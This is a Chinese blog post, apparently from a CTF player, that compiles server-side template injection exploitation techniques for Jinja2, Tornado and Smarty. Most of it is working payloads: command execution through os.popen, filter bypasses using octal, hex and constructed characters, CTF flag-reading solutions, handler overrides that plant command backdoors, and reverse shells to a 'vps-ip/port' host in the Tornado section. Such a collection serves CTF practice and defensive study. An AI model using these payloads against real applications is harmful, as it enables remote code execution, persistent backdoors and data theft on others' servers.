SSTI注入利用姿势合集

news2024/11/26 17:31:36

文章目录

  • 前言
  • SSTI模板注入原理?
  • 关于Python的类知识
  • 构造链的思路
  • Jinjia2
    • 获取配置信息
    • lipsum
    • request
    • url_for
    • get_flashed_messages
    • g对象
  • Jinjia2 Bypass
    • `.`绕过
    • 引号绕过
    • `_`绕过
    • `init`过滤
    • [ ]被过滤
  • 羊城杯2023[决赛] SSTI
  • 2020XCTF 华为专项赛
  • Tornado
    • 通用手法
    • `tornado.template`的特性
    • Request特性
    • Handler
  • Smarty


前言

曾经多多少少有看过一点SSTI注入,虽然有很多场比赛都栽过在这个题的手里,但是一直都没有重视他,导致这次比赛又再次栽在了这道题上面。既然如此,那就系统的去总结和理解它的方式和一些绕过姿势,收藏一些trick和学着去造一些trick。

SSTI模板注入原理?

SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。

关于Python的类知识

  1. __class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。

    s = [1, 2, 3]
    print(s.__class__)
    s = 'abc'
    print(s.__class__)
    s = {'Aiwin': 1}
    print(s.__class__)
    s = ({'Aiwin': 1}, [1, 2, 3])
    print(s.__class__)
    
    输出:
    <class 'list'>
    <class 'str'>
    <class 'dict'>
    <class 'tuple'>
    
  2. __bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。

s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__) #显示类和基类
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])




输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>

输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
  1. __subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()

for i in k:
    print(i)


输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>

得到object类,获取特定的子类,从而通过子类调用里面的方法达到命令执行的效果。比如<class ‘os._wrap_close’>可以调用os.popen()等方法。

  1. __dict__返回数据类型的属性和方法,要注意的是部分数据类型不存在__dict__方法,会报错,通过它可以进行拼接绕过某些过滤。

    import os
    
    os.__dict__['s'+'ystem']('whoami')
    
  2. __init__用于初始化类,为了得到function或者method方法

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__)
    
    #<function Person.__init__ at 0x0000021058FF0280>
    
  3. __globals__以字典的类型返回当前位置的全部模块,配合__init__使用,主要是为了获取builtins方法,如果这个关键字被过滤了,可以使用__getattribute__

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__.__globals__)
    print(Person.__init__.__getattribute__('__global'+'s__'))
    
    
  4. __builtins__是一个内建模块(又可以叫做内奸命名空间),通过它可以直接不使用import就可以调用很多函数,在SSTI注入中是一把好手,里面有很多好东西。

    __builtins__.__dict__['__import__']('os').system('whoami')
    

构造链的思路

通过以上的python的类的知识,可以看出构造链的思路大概可以分成两种,一种是不断的通过获取内置类获取对应的类从而获取到一些能够进行命令执行如os、subprocess的模块,另一种是获取builtins通过内建函数直接调用进行命令执行。

  1. 使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

    也可以看源代码的flask的内置类,例如session,request,config,self等

    >>> ''.__class__
    <class 'str'>
    >>> [].__class__
    <class 'list'>
    >>> ().__class__
    <class 'tuple'>
    >>> {}.__class__
    <class 'dict'>
    >>> "".__class__
    <class 'str'>
    
  2. 获取到上一层类的object基类

    ''.__class__.__bases__[0]  #__bases__字符类的基类获取到的是一个元组,__base__获取到是一个类
    ''.__class__.__mro__[1]
    [].__class__.__base__
    [].__class__.__mro__[1]
    
  3. 通过__subclasses__()拿到所有的子类列表,然后从子类列表中选择能够使用的类。

    ''.__class__.__bases__[0].__subclasses__()
    [].__class__.__bases__.__subclasses__()
    
  4. 从子类列表中寻找可以getshell的类,可以遍历所有的子类,寻找对应类中的方法来确认,如要寻找popen。

    search = 'popen'
    num  = -1
    for i in ().__class__.__base__.__subclasses__():
      num += 1
      try:
        if search in i.__init__.__globals__.keys():
          print(num, i)
      except:
        pass
    
    #输出:
    #134 <class 'os._wrap_close'>
    #135 <class 'os._AddedDllDirectory'>
    
    

    因此可以完成整条链的调用

    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print("".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__import__']('os').popen('whoami').read())
    
    '''包含__import__方法的类
    80 <class '_frozen_importlib._ModuleLock'>
    81 <class '_frozen_importlib._DummyModuleLock'>
    82 <class '_frozen_importlib._ModuleLockManager'>
    83 <class '_frozen_importlib.ModuleSpec'>
    '''
    
    
    

Jinjia2

jinjia2是Flask框架中一个流行的模板引擎,使得Web系统能够将特定的数据源组合渲染到页面中,呈现动态页面的效果,同样,也是CTF中的常客了,以下是jinjia2的使用文档。

Jinjia2使用文档

以下是一些jinjia2中内置的函数变量,可用于制造SSTI的链子。

获取配置信息

jinjia2可以通过{{config}}的方式来查询配置信息,它的基础类是可以是很多,主要看config的设置环境如属于jinja2.runtime.Context,如果环境中未定义config则会属于jinja2.runtime.undefined,通过这个类我们可以快速从它的globals变量中找到os__import__等方法,从而快速达到命令执行。

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #注意这里的globals中不一定存在os,要视具体情况定
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} #注意config直接__globals__为空

lipsum

通过是jinjia2模板引擎中用于占位文本生成器,用于在模板中生成随机的演示文本,通过它的全局类也能够获取到大量能够用于命令执行的函数。

file

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

request

从意思上了解,就是flask中代表当前请求的request对象,通过这个请求对象可以查询配置信息,构造出SSTI所需的类,还可以构造出SSTI所需的一些符号,详细在下面绕过的时候说。

{{request.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

url_for

url_for会根据传入的路由器函数名,返回该路由对应的URL

{{url_for.__globals__['current_app'].config}} #获取配置信息
{{url_for.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

get_flashed_messages

get_flashed_messages 是一个用于获取闪存消息的函数。闪存消息是一种特殊类型的消息,用于在请求之间传递信息。它通常用于在重定向或页面刷新后向用户显示一次性的提示或通知

{{get_flashed_messages.__globals__['current_app'].config}} #查看配置信息
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

g对象

在Flask框架中,g对象是一个上下文全局变量,它是一个在视图函数之间共享数据的地方。它可用于存储在同一请求周期内的数据,比如数据库连接、用户信息等。在每个请求中,g对象在视图函数之间被共享,但是在不同的请求之间是不共享的。通过g对象同样也可以寻找了builtins达到getshell的效果。这里需要注意的是g对象有时候会报undefined的错误,如在以下两种不同代码使用不同的模板渲染返回中会存在不一样的情况。

	 name = request.args.get('name', 'CTFer')#在这种形式的渲染返回中无法使用g变量,会显示undefined
     t = Template("hello " + name)  
     return t.render()

    name = request.args.get('name', 'CTFer')  #这种形式渲染返回g变量是正常的
    template=f"""
        Hello,{name}
    """
    return render_template_string(template)

{{g["pop"].__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

Jinjia2 Bypass

.绕过

  1. .绕过,可以使用attr方法或直接使用[]拼接获取到属性的基础类和各种方法,从而绕过.

file

lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() #使用[]绕过

{{lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('whoami')|attr('read')()}} #使用attr绕过

{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}}

引号绕过

要绕过引号(包括单引号,双引号)大概有两种思路:

  1. 寻找不需要引号的SSTI注入语句,引号的作用主要是最后在命令执行如导入os和执行对应命令需要使用,还记得request变量,表示请求中的变量,可以直接使用它来代替一些命令。

    {{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=whoami  
    
    {{lipsum.__globals__.__builtins__.__import__(request.args.a)[request.args.b](request.args.c).read()}}&a=os&b=popen&c=whoami&d=read
    
    #以下的request变量的参数都是可以使用的
    #request.args.name
    #request.values.name
    #request.cookies.name
    #request.headers.name
    #request.form.name
    
    
  2. 通过一些方法制造出引号这个字符,比如chr()这个函数,通过list将类名分割得到引号,制造%通过urldecode制造任意字符等,其实引号能造出的方式挺多的,比如以下:

    {%set chr=g|lower|list|batch(13)|list|first|last%}{{chr}}#直接造出'
    
    {% set chr=lipsum|lower|list|first|urlencode|first %} #造出%
    {%set c=dict(c=0).keys()|reverse|first%}  #造出c
    {%set url=dict(a=chr,c=c).values()|join %} #造出%c
    {%set url2=url|format(39)%}{{url2}} #通过%c|format的形式即可造出任意字符
    #通过造chr函数
    {%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
    
    
    
    

实在不知道chr在哪里,可以跑一下看看,其实很多类都有。

在这里插入图片描述

说这么多,奉上两个payload吧

{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.__import__(chr(111)~chr(115))[chr(112)~chr(111)~chr(112)~chr(101)~chr(110)](chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105)).read()}}  #通过chr造字符


{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(39)%}{%set o=url|format(111)%}  {%set s=url|format(115)%} {%set p=url|format(112)%} {%set e=url|format(101)%} {%set n=url|format(110)%} {%set w=url|format(119)%} {%set h=url|format(104)%} {%set a=url|format(97)%} {%set m=url|format(109)%} {%set i=url|format(105)%}
{%set os=o~s|string%}{%set popen=p~o~p~e~n|string%}{% set whoami=w~h~o~a~m~i %}
{%print(lipsum.__globals__.__builtins__.__import__(os)[popen](whoami).read())%}  #通过%c的形式造任何字符,注意这里根本不需要造引号,因为flask在处理的时候会自动加上引号当成字符处理。


_绕过

_绕过的思路大同小异,一种是通过编码绕过,一种是造出_,毕竟前面我们已经能造出任何字符了,当然也可以通过其它形式来造出_ ,因为下划线相对于引号还是出现的比较频繁的,还有一种也是request的形式,通过request得到_

  1. 编码绕过
# 转十六进制
def tohex(string):
    for i in string:
        print("\\x{:0x}".format(ord(i)), end="")
    print()


# 转八进制
def tooct(string):
    for i in string:
        print("\\{:0o}".format(ord(i)), end="")
    print()


# 转unicode
def touni(string):
    for i in string:
        print("\\u00{:0x}".format(ord(i)), end="")
    print()


string1 = "" #要编码的字符串
tohex(string1)
tooct(string1)
touni(string1)

{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[134]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['popen']('whoami').read()}} #十六进制

{{""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[134]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['popen']('whoami').read()}} #unicode编码

{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[134]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['popen']('whoami').read()}} #八进制


  1. request绕过

    {{""[request.args.a][request.args.b][request.args.c]()[134][request.args.d][request.args.e]['popen']('whoami').read()}}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__
    
  2. _进行绕过

{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(95)%}{%set class=url2*2~'class'~url2*2%}
{%set base=url2*2~'base'~url2*2%}{%set sub=url2*2~'subclasses'~url2*2%}{%set init=url2*2~'init'~url2*2%}{%set glo=url2*2~'globals'~url2*2%}{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}


{% set chr=lipsum|string|list|batch(19)|list|first|last%}{%set class=[chr*2,'class',chr*2]|join%}{%set sub=[chr*2,'subclasses',chr*2]|join%}{%set base=[chr*2,'base',chr*2]|join%}{%set init=[chr*2,'init',chr*2]|join%}{%set glo=[chr*2,'globals',chr*2]|join%}
{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}

init过滤

__init__是用于初始化的方法,可以使用其它方法代替,如__enter____exit__

{{"".__class__.__base__.__subclasses__()[134].__enter__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[134].__exit__.__globals__['popen']('whoami').read()}}

[ ]被过滤

因为[]并不是必须的,因为过滤了[]可以往不用[]那边想,因为.__的形式就不需要使用[],如以下:

{{().__class__.__base__.__subclasses__().pop(134).__init__.__globals__.popen('whoami').read()}} #通过pop来选择类

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(134).__init__.__globals__.popen('whoami').read()}} #通过getitem选择类
 
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}} #通过attr来绕过


羊城杯2023[决赛] SSTI

题目如下,过滤的东西其实挺多的,过滤了下划线、花括号、点号、十六进制、八进制,空格等,虽然看上去过滤了很多的东西,但是依旧是可以缺什么造什么把它造出来,过滤了.我们可以使用[]+可以使用~进行连接,下划线可以使用造字符串的形式。

from flask import Flask, request
from jinja2 import Template
import re

app = Flask(__name__)


@app.route("/")
def index():
    name = request.args.get('name', 'CTFer<!--?name=CTFer')
    if not re.findall(
            r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",
            name):
        t = Template("hello " + name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

以下是自己造的解题的一些payload:

{%print(""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[137]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\40\57\146\154\141\147")["\162\145\141\144"]())%}  #通过八进制直接绕

{%print(((lipsum[(lipsum|escape|batch(22)|list|first|last)*2~"g""lobals"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"builtins"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"import"~(lipsum|escape|batch(22)|list|first|last)*2]("os")["p""open"](("c"~"a"~"t"~((dict|trim|list)[6])~"/fla"~"g")))["read"]()))%}  #通过造下划线和造空格来绕过


2020XCTF 华为专项赛

过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get等字符,同样可以通过attr+八进制的形式进行绕过。

{%print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\56\57\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51"))%}

Tornado

官方文档:https://www.osgeo.cn/tornado/

Tornado框架也被称为龙卷风框架,是另一个基于 Python 的开源 Web 框架和异步网络库。它被设计用于构建高性能、可扩展的网络应用程序。Tornado 的核心特性是异步非阻塞的 I/O 操作,利用事件循环来实现高效的并发处理。

当出现与Flask相同的动态渲染方法时,也存在SSTI注入的问题,比如如下代码:

        data = self.get_argument("ssti")    
    	with open('1.html', 'w') as f:
                f.write(f"""
                        {data}
                        """)
                f.flush()
            self.render('1.html')

通用手法

Tornado既然是基于Python的一门开发框架,所以基于Python语言的SSTI注入都是适用的,比如

{{ __import__("os").system("whoami") }}
{% raw __import__("os").system("whoami") %}
{{eval('__import__("os").popen("ls").read()')}}
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#等等

tornado.template的特性

在Tornado使用template方法读取模板进行渲染时,会将模板转化为代码的形式,然后将模板中的代码执行后最后进行渲染,在执行Python代码的过程中,会存在接收变量、存储临时变量等的函数,比如说_tt_execute()方法中的代码的:

def _tt_execute(): 
    _tt_buffer = []
    _tt_append = _tt_buffer.append 
    _tt_tmp = print(__loader__.get_source(1)) 
    if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) 
    else: _tt_tmp = _tt_utf8(str(_tt_tmp)) 
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) 
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer) 

这段代码可以将模板中的变量和表达式转化为Python代码并执行,而在代码中可以发现_tt_utf8(_tt_tmp) 类似的拼接形式,加入我们可以控制两个变量,就存在命令执行的效果,_tt_tmp是用于存储模板中的表达式的,因此我们可以通过set方法将_tt_utf8设置为命令执行的函数,后传入命令执行的表达式进行shell。

{% set _tt_utf8 = __import__("os").system %}{{"whoami"}}

{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}

{% set _tt_utf8 =eval %}{% raw '__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")' %}

Request特性

这个request特性与flask的特性是一样的,用于存储请求的各种方法、变量等,可以使用它的特性绕过不少的东西。

request.method: 获取 HTTP 请求的方法,如 GET、POST、PUT、DELETE 等。
request.uri: 获取完整的请求 URI,包括路径、查询参数和锚点。
request.path: 获取请求的路径部分,不包括查询参数和锚点。
request.query: 获取请求的查询参数部分,以字典形式返回。
request.body: 获取请求的主体内容,通常用于 POST、PUT 请求。
request.headers: 获取请求的 HTTP 头部,以字典形式返回。
request.cookies: 获取请求中的所有 Cookie,以字典形式返回。

比如说以上的过滤了() __等,可以通过request接收绕过,当然同样也是接受进制绕过的:

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}

{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'#构造了一个 HTTP 响应头部,其中包含了一个 CMD 字段,该字段的值为执行命令的结果。最后,将构造好的响应头部字符串通过 request.connection.write() 方法写入 HTTP 响应中。

Handler

在 Tornado Web 框架中,Handler 是负责处理客户端请求的组件。Handler 接收来自客户端的请求,执行相应的操作,并返回响应给客户端

可以通过handler来查看Tornado中的许多敏感信息,

handler.application 整个Tornado实例
handler.application.add_handlers  增加服务处理逻辑
handler.application.settting 查看实例的配置
handler.prepare():在准备处理请求时执行的函数

## 等等

Tornado遇到的毕竟毕竟少,附上Tornado多种payload。

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}


3.request绕过
{{eval(handler.get_argument(request.method))}}?GET=__import__("os").popen("ls").read()

4.利用{% autoescape %}
{% autoescape __import__("os").system %}{{"id"}}
{% autoescape __import__("os").system("id") %}{{0}}
{% autoescape (lambda x: __import__("os").popen("id").read()) %}{{0}}
{% autoescape (lambda: __import__("os").popen("id").read())()) 
{% autoescape (lambda: __import__("os").popen("id").read())())\n ( %}{{0}}
                                                                  
5. 利用while
{% while __import__("os").system("id") %}{%end%}
{% while 1: return __import__("os").popen("id").read() #\n while 1\n%}{%end%}
 
6. 通过handler
{%raw handler.prepare = lambda x: x.write(str(eval(x.get_query_argument("cmd", "id"))))%}
 
{%raw handler.__class__._handle_request_exception=lambda x,y:[x.write((str(eval(x.get_query_argument("cmd","id")))).encode()),x.finish()][0]%} #覆盖异常处理
 
 
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
 
 
 

Tornado参考文章:https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado

Smarty

a{*comment*}b #输出ab 确定smarty
{$smarty.version}  #获取smarty的版本号
{php}phpinfo();{/php}  #执行相应的php代码
{literal}alert('xss');{/literal}
{if phpinfo()}{/if}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1009097.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑字体怎么改?4个方法快速更改字体!

“我的电脑字体看起来很不习惯&#xff0c;想给电脑换个字体。电脑字体应该怎么改呢&#xff1f;哪位朋友可以给我支支招呀&#xff1f;” 电脑字体的不同可能会让用户在使用电脑时有不同的体验。有些电脑用户可能想使用比较正式的字体&#xff0c;但有些用户可能会比较喜欢可爱…

算法|Day49 动态规划17

LeetCode 647- 回文子串 题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目描述&#xff1a;给你一个字符串 s &#xff0c;请你统计并返回这个字符串中 回文子串 的数目。 回文字符串 是正着读和倒过来读一样的字符串。 子…

RS485(一):电路与波形

